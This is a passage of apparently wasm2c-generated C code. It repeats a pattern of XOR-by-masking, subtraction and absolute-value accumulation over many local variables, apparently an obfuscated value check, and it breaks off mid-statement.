w2c_l342 = w2c_i0; w2c_i0 = w2c_l230; w2c_l87 = w2c_i0; w2c_i0 = w2c_l87; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l309 = w2c_i0; w2c_i0 = w2c_l309; w2c_i1 = 240u; w2c_i0 &= w2c_i1; w2c_l158 = w2c_i0; w2c_i0 = w2c_l230; w2c_l98 = w2c_i0; w2c_i0 = w2c_l98; w2c_i1 = 4294967055u; w2c_i0 &= w2c_i1; w2c_l163 = w2c_i0; w2c_i0 = w2c_l158; w2c_i1 = w2c_l163; w2c_i0 |= w2c_i1; w2c_l315 = w2c_i0; w2c_i0 = w2c_l315; w2c_i1 = 130u; w2c_i0 -= w2c_i1; w2c_l348 = w2c_i0; w2c_i0 = w2c_l348; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l255 = w2c_i0; w2c_i0 = w2c_l342; w2c_l109 = w2c_i0; w2c_i0 = w2c_l109; w2c_i1 = w2c_l255; w2c_i0 += w2c_i1; w2c_l133 = w2c_i0; w2c_i0 = w2c_l133; w2c_l342 = w2c_i0; w2c_i0 = w2c_l241; w2c_l120 = w2c_i0; w2c_i0 = w2c_l120; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l290 = w2c_i0; w2c_i0 = w2c_l290; w2c_i1 = 159u; w2c_i0 &= w2c_i1; w2c_l180 = w2c_i0; w2c_i0 = w2c_l241; w2c_l33 = w2c_i0; w2c_i0 = w2c_l33; w2c_i1 = 4294967136u; w2c_i0 &= w2c_i1; w2c_l185 = w2c_i0; w2c_i0 = w2c_l180; w2c_i1 = w2c_l185; w2c_i0 |= w2c_i1; w2c_l326 = w2c_i0; w2c_i0 = w2c_l326; w2c_i1 = 192u; w2c_i0 -= w2c_i1; w2c_l359 = w2c_i0; w2c_i0 = w2c_l359; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l266 = w2c_i0; w2c_i0 = w2c_l342; w2c_l34 = w2c_i0; w2c_i0 = w2c_l34; w2c_i1 = w2c_l266; w2c_i0 += w2c_i1; w2c_l143 = w2c_i0; w2c_i0 = w2c_l143; w2c_l342 = w2c_i0; w2c_i0 = w2c_l243; w2c_l35 = w2c_i0; w2c_i0 = w2c_l35; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l299 = w2c_i0; w2c_i0 = w2c_l299; w2c_i1 = 240u; w2c_i0 &= w2c_i1; w2c_l194 = w2c_i0; w2c_i0 = w2c_l243; w2c_l36 = w2c_i0; w2c_i0 = w2c_l36; w2c_i1 = 4294967055u; w2c_i0 &= w2c_i1; w2c_l195 = w2c_i0; w2c_i0 = w2c_l194; w2c_i1 = w2c_l195; w2c_i0 |= w2c_i1; w2c_l330 = w2c_i0; w2c_i0 = w2c_l330; w2c_i1 = 150u; w2c_i0 -= w2c_i1; w2c_l362 = w2c_i0; w2c_i0 = w2c_l362; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l268 = w2c_i0; w2c_i0 = w2c_l342; w2c_l37 = w2c_i0; w2c_i0 = w2c_l37; w2c_i1 = w2c_l268; w2c_i0 += w2c_i1; w2c_l144 = w2c_i0; w2c_i0 = w2c_l144; w2c_l342 = w2c_i0; w2c_i0 = w2c_l244; w2c_l38 = w2c_i0; w2c_i0 = w2c_l38; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l300 = w2c_i0; w2c_i0 = w2c_l300; w2c_i1 = 65u; w2c_i0 &= w2c_i1; w2c_l197 = w2c_i0; w2c_i0 = w2c_l244; w2c_l39 = w2c_i0; w2c_i0 = w2c_l39; w2c_i1 = 4294967230u; w2c_i0 &= w2c_i1; w2c_l198 = w2c_i0; w2c_i0 = w2c_l197; w2c_i1 = w2c_l198; w2c_i0 |= w2c_i1; w2c_l331 = w2c_i0; w2c_i0 = w2c_l331; w2c_i1 = 52u; w2c_i0 -= w2c_i1; w2c_l363 = w2c_i0; w2c_i0 = w2c_l363; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l269 = w2c_i0; w2c_i0 = w2c_l342; w2c_l40 = w2c_i0; w2c_i0 = w2c_l40; w2c_i1 = w2c_l269; w2c_i0 += w2c_i1; w2c_l145 = w2c_i0; w2c_i0 = w2c_l145; w2c_l342 = w2c_i0; w2c_i0 = w2c_l245; w2c_l41 = w2c_i0; w2c_i0 = w2c_l41; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l301 = w2c_i0; w2c_i0 = w2c_l301; w2c_i1 = 105u; w2c_i0 &= w2c_i1; w2c_l199 = w2c_i0; w2c_i0 = w2c_l245; w2c_l42 = w2c_i0; w2c_i0 = w2c_l42; w2c_i1 = 4294967190u; w2c_i0 &= w2c_i1; w2c_l200 = w2c_i0; w2c_i0 = w2c_l199; w2c_i1 = w2c_l200; w2c_i0 |= w2c_i1; w2c_l332 = w2c_i0; w2c_i0 = w2c_l332; w2c_i1 = 27u; w2c_i0 -= w2c_i1; w2c_l364 = w2c_i0; w2c_i0 = w2c_l364; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l270 = w2c_i0; w2c_i0 = w2c_l342; w2c_l44 = w2c_i0; w2c_i0 = w2c_l44; w2c_i1 = w2c_l270; w2c_i0 += w2c_i1; w2c_l146 = w2c_i0; w2c_i0 = w2c_l146; w2c_l342 = w2c_i0; w2c_i0 = w2c_l246; w2c_l45 = w2c_i0; w2c_i0 = w2c_l45; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l302 = w2c_i0; w2c_i0 = w2c_l302; w2c_i1 = 49u; w2c_i0 &= w2c_i1; w2c_l202 = w2c_i0; w2c_i0 = w2c_l246; w2c_l46 = w2c_i0; w2c_i0 = w2c_l46; w2c_i1 = 4294967246u; w2c_i0 &= w2c_i1; w2c_l203 = w2c_i0; w2c_i0 = w2c_l202; w2c_i1 = w2c_l203; w2c_i0 |= w2c_i1; w2c_l333 = w2c_i0; w2c_i0 = w2c_l333; w2c_i1 = 69u; w2c_i0 -= w2c_i1; w2c_l365 = w2c_i0; w2c_i0 = w2c_l365; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l271 = w2c_i0; w2c_i0 = w2c_l342; w2c_l47 = w2c_i0; w2c_i0 = w2c_l47; w2c_i1 = w2c_l271; w2c_i0 += w2c_i1; w2c_l147 = w2c_i0; w2c_i0 = w2c_l147; w2c_l342 = w2c_i0; w2c_i0 = w2c_l247; w2c_l48 = w2c_i0; w2c_i0 = w2c_l48; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l303 = w2c_i0; w2c_i0 = w2c_l303; w2c_i1 = 119u; w2c_i0 &= w2c_i1; w2c_l204 = w2c_i0; w2c_i0 = w2c_l247; w2c_l49 = w2c_i0; w2c_i0 = w2c_l49; w2c_i1 = 4294967176u; w2c_i0 &= w2c_i1; w2c_l205 = w2c_i0; w2c_i0 = w2c_l204; w2c_i1 = w2c_l205; w2c_i0 |= w2c_i1; w2c_l335 = w2c_i0; w2c_i0 = w2c_l335; w2c_i1 = 31u; w2c_i0 -= w2c_i1; w2c_l366 = w2c_i0; w2c_i0 = w2c_l366; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l272 = w2c_i0; w2c_i0 = w2c_l342; w2c_l50 = w2c_i0; w2c_i0 = w2c_l50; w2c_i1 = w2c_l272; w2c_i0 += w2c_i1; w2c_l148 = w2c_i0; w2c_i0 = w2c_l148; w2c_l342 = w2c_i0; w2c_i0 = w2c_l248; w2c_l51 = w2c_i0; w2c_i0 = w2c_l51; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l304 = w2c_i0; w2c_i0 = w2c_l304; w2c_i1 = 12u; w2c_i0 &= w2c_i1; w2c_l206 = w2c_i0; w2c_i0 = w2c_l248; w2c_l52 = w2c_i0; w2c_i0 = w2c_l52; w2c_i1 = 4294967283u; w2c_i0 &= w2c_i1; w2c_l207 = w2c_i0; w2c_i0 = w2c_l206; w2c_i1 = w2c_l207; w2c_i0 |= w2c_i1; w2c_l336 = w2c_i0; w2c_i0 = w2c_l336; w2c_i1 = 63u; w2c_i0 -= w2c_i1; w2c_l368 = w2c_i0; w2c_i0 = w2c_l368; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l273 = w2c_i0; w2c_i0 = w2c_l342; w2c_l53 = w2c_i0; w2c_i0 = w2c_l53; w2c_i1 = w2c_l273; w2c_i0 += w2c_i1; w2c_l149 = w2c_i0; w2c_i0 = w2c_l149; w2c_l342 = w2c_i0; w2c_i0 = w2c_l220; w2c_l55 = w2c_i0; w2c_i0 = w2c_l55; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l305 = w2c_i0; w2c_i0 = w2c_l305; w2c_i1 = 210u; w2c_i0 &= w2c_i1; w2c_l208 = w2c_i0; w2c_i0 = w2c_l220; w2c_l56 = w2c_i0; w2c_i0 = w2c_l56; w2c_i1 = 4294967085u; w2c_i0 &= w2c_i1; w2c_l209 = w2c_i0; w2c_i0 = w2c_l208; w2c_i1 = w2c_l209; w2c_i0 |= w2c_i1; w2c_l337 = w2c_i0; w2c_i0 = w2c_l337; w2c_i1 = 160u; w2c_i0 -= w2c_i1; w2c_l369 = w2c_i0; w2c_i0 = w2c_l369; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l275 = w2c_i0; w2c_i0 = w2c_l342; w2c_l57 = w2c_i0; w2c_i0 = w2c_l57; w2c_i1 = w2c_l275; w2c_i0 += w2c_i1; w2c_l150 = w2c_i0; w2c_i0 = w2c_l150; w2c_l342 = w2c_i0; w2c_i0 = w2c_l221; w2c_l58 = w2c_i0; w2c_i0 = w2c_l58; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l306 = w2c_i0; w2c_i0 = w2c_l306; w2c_i1 = 108u; w2c_i0 &= w2c_i1; w2c_l210 = w2c_i0; w2c_i0 = w2c_l221; w2c_l59 = w2c_i0; w2c_i0 = w2c_l59; w2c_i1 = 4294967187u; w2c_i0 &= w2c_i1; w2c_l211 = w2c_i0; w2c_i0 = w2c_l210; w2c_i1 = w2c_l211; w2c_i0 |= w2c_i1; w2c_l338 = w2c_i0; w2c_i0 = w2c_l338; w2c_i1 = 51u; w2c_i0 -= w2c_i1; w2c_l370 = w2c_i0; w2c_i0 = w2c_l370; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l276 = w2c_i0; w2c_i0 = w2c_l342; w2c_l60 = w2c_i0; w2c_i0 = w2c_l60; w2c_i1 = w2c_l276; w2c_i0 += w2c_i1; w2c_l151 = w2c_i0; w2c_i0 = w2c_l151; w2c_l342 = w2c_i0; w2c_i0 = w2c_l222; w2c_l61 = w2c_i0; w2c_i0 = w2c_l61; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l307 = w2c_i0; w2c_i0 = w2c_l307; w2c_i1 = 184u; w2c_i0 &= w2c_i1; w2c_l212 = w2c_i0; w2c_i0 = w2c_l222; w2c_l62 = w2c_i0; w2c_i0 = w2c_l62; w2c_i1 = 4294967111u; w2c_i0 &= w2c_i1; w2c_l213 = w2c_i0; w2c_i0 = w2c_l212; w2c_i1 = w2c_l213; w2c_i0 |= w2c_i1; w2c_l339 = w2c_i0; w2c_i0 = w2c_l339; w2c_i1 = 137u; w2c_i0 -= w2c_i1; w2c_l371 = w2c_i0; w2c_i0 = w2c_l371; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l277 = w2c_i0; w2c_i0 = w2c_l342; w2c_l63 = w2c_i0; w2c_i0 = w2c_l63; w2c_i1 = w2c_l277; w2c_i0 += w2c_i1; w2c_l153 = w2c_i0; w2c_i0 = w2c_l153; w2c_l342 = w2c_i0; w2c_i0 = w2c_l223; w2c_l64 = w2c_i0; w2c_i0 = w2c_l64; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l308 = w2c_i0; w2c_i0 = w2c_l308; w2c_i1 = 235u; w2c_i0 &= w2c_i1; w2c_l214 = w2c_i0; w2c_i0 = w2c_l223; w2c_l66 = w2c_i0; w2c_i0 = w2c_l66; w2c_i1 = 4294967060u; w2c_i0 &= w2c_i1; w2c_l215 = w2c_i0; w2c_i0 = w2c_l214; w2c_i1 = w2c_l215; w2c_i0 |= w2c_i1; w2c_l340 = w2c_i0; w2c_i0 = w2c_l340; w2c_i1 = 133u; w2c_i0 -= w2c_i1; w2c_l372 = w2c_i0; w2c_i0 = w2c_l372; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l278 = w2c_i0; w2c_i0 = w2c_l342; w2c_l67 = w2c_i0; w2c_i0 = w2c_l67; w2c_i1 = w2c_l278; w2c_i0 += w2c_i1; w2c_l154 = w2c_i0; w2c_i0 = w2c_l154; w2c_l342 = w2c_i0; w2c_i0 = w2c_l224; w2c_l68 = w2c_i0; w2c_i0 = w2c_l68; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l310 = w2c_i0; w2c_i0 = w2c_l310; w2c_i1 = 118u; w2c_i0 &= w2c_i1; w2c_l216 = w2c_i0; w2c_i0 = w2c_l224; w2c_l69 = w2c_i0; w2c_i0 = w2c_l69; w2c_i1 = 4294967177u; w2c_i0 &= w2c_i1; w2c_l217 = w2c_i0; w2c_i0 = w2c_l216; w2c_i1 = w2c_l217; w2c_i0 |= w2c_i1; w2c_l341 = w2c_i0; w2c_i0 = w2c_l341; w2c_i1 = 16u; w2c_i0 -= w2c_i1; w2c_l373 = w2c_i0; w2c_i0 = w2c_l373; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l279 = w2c_i0; w2c_i0 = w2c_l342; w2c_l70 = w2c_i0; w2c_i0 = w2c_l70; w2c_i1 = w2c_l279; w2c_i0 += w2c_i1; w2c_l155 = w2c_i0; w2c_i0 = w2c_l155; w2c_l342 = w2c_i0; w2c_i0 = w2c_l225; w2c_l71 = w2c_i0; w2c_i0 = w2c_l71; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l281 = w2c_i0; w2c_i0 = w2c_l281; w2c_i1 = 52u; w2c_i0 &= w2c_i1; w2c_l159 = w2c_i0; w2c_i0 = w2c_l225; w2c_l72 = w2c_i0; w2c_i0 = w2c_l72; w2c_i1 = 4294967243u; w2c_i0 &= w2c_i1; w2c_l160 = w2c_i0; w2c_i0 = w2c_l159; w2c_i1 = w2c_l160; w2c_i0 |= w2c_i1; w2c_l312 = w2c_i0; w2c_i0 = w2c_l312; w2c_i1 = 4u; w2c_i0 -= w2c_i1; w2c_l344 = w2c_i0; w2c_i0 = w2c_l344; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l250 = w2c_i0; w2c_i0 = w2c_l342; w2c_l73 = w2c_i0; w2c_i0 = w2c_l73; w2c_i1 = w2c_l250; w2c_i0 += w2c_i1; w2c_l126 = w2c_i0; w2c_i0 = w2c_l126; w2c_l342 = w2c_i0; w2c_i0 = w2c_l226; w2c_l74 = w2c_i0; w2c_i0 = w2c_l74; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l282 = w2c_i0; w2c_i0 = w2c_l282; w2c_i1 = 213u; w2c_i0 &= w2c_i1; w2c_l161 = w2c_i0; w2c_i0 = w2c_l226; w2c_l75 = w2c_i0; w2c_i0 = w2c_l75; w2c_i1 = 4294967082u; w2c_i0 &= w2c_i1; w2c_l162 = w2c_i0; w2c_i0 = w2c_l161; w2c_i1 = w2c_l162; w2c_i0 |= w2c_i1; w2c_l313 = w2c_i0; w2c_i0 = w2c_l313; w2c_i1 = 138u; w2c_i0 -= w2c_i1; w2c_l345 = w2c_i0; w2c_i0 = w2c_l345; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l251 = w2c_i0; w2c_i0 = w2c_l342; w2c_l77 = w2c_i0; w2c_i0 = w2c_l77; w2c_i1 = w2c_l251; w2c_i0 += w2c_i1; w2c_l127 = w2c_i0; w2c_i0 = w2c_l127; w2c_l342 = w2c_i0; w2c_i0 = w2c_l227; w2c_l78 = w2c_i0; w2c_i0 = w2c_l78; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l283 = w2c_i0; w2c_i0 = w2c_l283; w2c_i1 = 5u; w2c_i0 &= w2c_i1; w2c_l164 = w2c_i0; w2c_i0 = w2c_l227; w2c_l79 = w2c_i0; w2c_i0 = w2c_l79; w2c_i1 = 4294967290u; w2c_i0 &= w2c_i1; w2c_l165 = w2c_i0; w2c_i0 = w2c_l164; w2c_i1 = w2c_l165; w2c_i0 |= w2c_i1; w2c_l314 = w2c_i0; w2c_i0 = w2c_l314; w2c_i1 = 102u; w2c_i0 -= w2c_i1; w2c_l346 = w2c_i0; w2c_i0 = w2c_l346; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l252 = w2c_i0; w2c_i0 = w2c_l342; w2c_l80 = w2c_i0; w2c_i0 = w2c_l80; w2c_i1 = w2c_l252; w2c_i0 += w2c_i1; w2c_l128 = w2c_i0; w2c_i0 = w2c_l128; w2c_l342 = w2c_i0; w2c_i0 = w2c_l228; w2c_l81 = w2c_i0; w2c_i0 = w2c_l81; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l284 = w2c_i0; w2c_i0 = w2c_l284; w2c_i1 = 107u; w2c_i0 &= w2c_i1; w2c_l166 = w2c_i0; w2c_i0 = w2c_l228; w2c_l82 = w2c_i0; w2c_i0 = w2c_l82; w2c_i1 = 4294967188u; w2c_i0 &= w2c_i1; w2c_l167 = w2c_i0; w2c_i0 = w2c_l166; w2c_i1 = w2c_l167; w2c_i0 |= w2c_i1; w2c_l316 = w2c_i0; w2c_i0 = w2c_l316; w2c_i1 = 95u; w2c_i0 -= w2c_i1; w2c_l347 = w2c_i0; w2c_i0 = w2c_l347; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l253 = w2c_i0; w2c_i0 = w2c_l342; w2c_l83 = w2c_i0; w2c_i0 = w2c_l83; w2c_i1 = w2c_l253; w2c_i0 += w2c_i1; w2c_l129 = w2c_i0; w2c_i0 = w2c_l129; w2c_l342 = w2c_i0; w2c_i0 = w2c_l229; w2c_l84 = w2c_i0; w2c_i0 = w2c_l84; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l285 = w2c_i0; w2c_i0 = w2c_l285; w2c_i1 = 106u; w2c_i0 &= w2c_i1; w2c_l168 = w2c_i0; w2c_i0 = w2c_l229; w2c_l85 = w2c_i0; w2c_i0 = w2c_l85; w2c_i1 = 4294967189u; w2c_i0 &= w2c_i1; w2c_l169 = w2c_i0; w2c_i0 = w2c_l168; w2c_i1 = w2c_l169; w2c_i0 |= w2c_i1; w2c_l317 = w2c_i0; w2c_i0 = w2c_l317; w2c_i1 = 91u; w2c_i0 -= w2c_i1; w2c_l349 = w2c_i0; w2c_i0 = w2c_l349; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l254 = w2c_i0; w2c_i0 = w2c_l342; w2c_l86 = w2c_i0; w2c_i0 = w2c_l86; w2c_i1 = w2c_l254; w2c_i0 += w2c_i1; w2c_l130 = w2c_i0; w2c_i0 = w2c_l130; w2c_l342 = w2c_i0; w2c_i0 = w2c_l231; w2c_l88 = w2c_i0; w2c_i0 = w2c_l88; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l286 = w2c_i0; w2c_i0 = w2c_l286; w2c_i1 = 165u; w2c_i0 &= w2c_i1; w2c_l170 = w2c_i0; w2c_i0 = w2c_l231; w2c_l89 = w2c_i0; w2c_i0 = w2c_l89; w2c_i1 = 4294967130u; w2c_i0 &= w2c_i1; w2c_l171 = w2c_i0; w2c_i0 = w2c_l170; w2c_i1 = w2c_l171; w2c_i0 |= w2c_i1; w2c_l318 = w2c_i0; w2c_i0 = w2c_l318; w2c_i1 = 148u; w2c_i0 -= w2c_i1; w2c_l350 = w2c_i0; w2c_i0 = w2c_l350; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l256 = w2c_i0; w2c_i0 = w2c_l342; w2c_l90 = w2c_i0; w2c_i0 = w2c_l90; w2c_i1 = w2c_l256; w2c_i0 += w2c_i1; w2c_l131 = w2c_i0; w2c_i0 = w2c_l131; w2c_l342 = w2c_i0; w2c_i0 = w2c_l232; w2c_l91 = w2c_i0; w2c_i0 = w2c_l91; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l287 = w2c_i0; w2c_i0 = w2c_l287; w2c_i1 = 12u; w2c_i0 &= w2c_i1; w2c_l172 = w2c_i0; w2c_i0 = w2c_l232; w2c_l92 = w2c_i0; w2c_i0 = w2c_l92; w2c_i1 = 4294967283u; w2c_i0 &= w2c_i1; w2c_l173 = w2c_i0; w2c_i0 = w2c_l172; w2c_i1 = w2c_l173; w2c_i0 |= w2c_i1; w2c_l319 = w2c_i0; w2c_i0 = w2c_l319; w2c_i1 = 83u; w2c_i0 -= w2c_i1; w2c_l351 = w2c_i0; w2c_i0 = w2c_l351; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l257 = w2c_i0; w2c_i0 = w2c_l342; w2c_l93 = w2c_i0; w2c_i0 = w2c_l93; w2c_i1 = w2c_l257; w2c_i0 += w2c_i1; w2c_l132 = w2c_i0; w2c_i0 = w2c_l132; w2c_l342 = w2c_i0; w2c_i0 = w2c_l233; w2c_l94 = w2c_i0; w2c_i0 = w2c_l94; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l288 = w2c_i0; w2c_i0 = w2c_l288; w2c_i1 = 182u; w2c_i0 &= w2c_i1; w2c_l174 = w2c_i0; w2c_i0 = w2c_l233; w2c_l95 = w2c_i0; w2c_i0 = w2c_l95; w2c_i1 = 4294967113u; w2c_i0 &= w2c_i1; w2c_l175 = w2c_i0; w2c_i0 = w2c_l174; w2c_i1 = w2c_l175; w2c_i0 |= w2c_i1; w2c_l320 = w2c_i0; w2c_i0 = w2c_l320; w2c_i1 = 134u; w2c_i0 -= w2c_i1; w2c_l352 = w2c_i0; w2c_i0 = w2c_l352; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l258 = w2c_i0; w2c_i0 = w2c_l342; w2c_l96 = w2c_i0; w2c_i0 = w2c_l96; w2c_i1 = w2c_l258; w2c_i0 += w2c_i1; w2c_l134 = w2c_i0; w2c_i0 = w2c_l134; w2c_l342 = w2c_i0; w2c_i0 = w2c_l234; w2c_l97 = w2c_i0; w2c_i0 = w2c_l97; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l289 = w2c_i0; w2c_i0 = w2c_l289; w2c_i1 = 220u; w2c_i0 &= w2c_i1; w2c_l176 = w2c_i0; w2c_i0 = w2c_l234; w2c_l99 = w2c_i0; w2c_i0 = w2c_l99; w2c_i1 = 4294967075u; w2c_i0 &= w2c_i1; w2c_l177 = w2c_i0; w2c_i0 = w2c_l176; w2c_i1 = w2c_l177; w2c_i0 |= w2c_i1; w2c_l321 = w2c_i0; w2c_i0 = w2c_l321; w2c_i1 = 239u; w2c_i0 -= w2c_i1; w2c_l353 = w2c_i0; w2c_i0 = w2c_l353; w2c_l376 = w2c_i0; w2c_i0 = 0u; w2c_i1 = w2c_l376; w2c_i0 -= w2c_i1; w2c_i1 = w2c_l376; w2c_i2 = w2c_l376; w2c_i3 = 0u; w2c_i2 = (u32)((s32)w2c_i2 < (s32)w2c_i3); w2c_i0 = w2c_i2 ? w2c_i0 : w2c_i1; w2c_l259 = w2c_i0; w2c_i0 = w2c_l342; w2c_l100 = w2c_i0; w2c_i0 = w2c_l100; w2c_i1 = w2c_l259; w2c_i0 += w2c_i1; w2c_l135 = w2c_i0; w2c_i0 = w2c_l135; w2c_l342 = w2c_i0; w2c_i0 = w2c_l235; w2c_l101 = w2c_i0; w2c_i0 = w2c_l101; w2c_i1 = 4294967295u; w2c_i0 ^= w2c_i1; w2c_l291 = 